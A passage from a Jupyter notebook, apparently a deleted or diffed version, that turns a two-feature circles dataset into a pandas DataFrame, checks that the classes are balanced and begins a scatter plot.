1, 1, 1, 1, 1, 0, 0, 0,\n", - " 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1,\n", - " 1, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0,\n", - " 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0,\n", - " 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0,\n", - " 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 1,\n", - " 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1,\n", - " 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1,\n", - " 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1,\n", - " 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1,\n", - " 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1,\n", - " 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0,\n", - " 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1,\n", - " 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0,\n", - " 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1,\n", - " 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1,\n", - " 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1,\n", - " 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0,\n", - " 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 0,\n", - " 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1,\n", - " 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1,\n", - " 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 0, 1,\n", - " 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0,\n", - " 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0,\n", - " 0, 1, 0, 1, 0, 0, 0, 1, 0, 0], dtype=int64))" - ] - }, - "execution_count": 83, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "X,y" - ] - }, - { - "cell_type": "code", - "execution_count": 84, - "id": "09533e7d", - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
X0X1label
00.7542460.2314811
1-0.7561590.1532591
2-0.8153920.1732821
3-0.3937310.6928831
40.442208-0.8967230
\n", - "
" - ], - "text/plain": [ - " X0 X1 label\n", - "0 0.754246 0.231481 1\n", - "1 -0.756159 0.153259 1\n", - "2 -0.815392 0.173282 1\n", - "3 -0.393731 0.692883 1\n", - "4 0.442208 -0.896723 0" - ] - }, - "execution_count": 84, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "circles = pd.DataFrame({\"X0\":X[:, 0], \"X1\":X[:, 1], \"label\":y})\n", - "circles.head()" - ] - }, - { - "cell_type": "code", - "execution_count": 85, - "id": "fd56f8f7", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "0 500\n", - "1 500\n", - "Name: label, dtype: int64" - ] - }, - "execution_count": 85, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "circles[\"label\"].value_counts()" - ] - }, - { - "cell_type": "code", - "execution_count": 86, - "id": "da60635a", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 86, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "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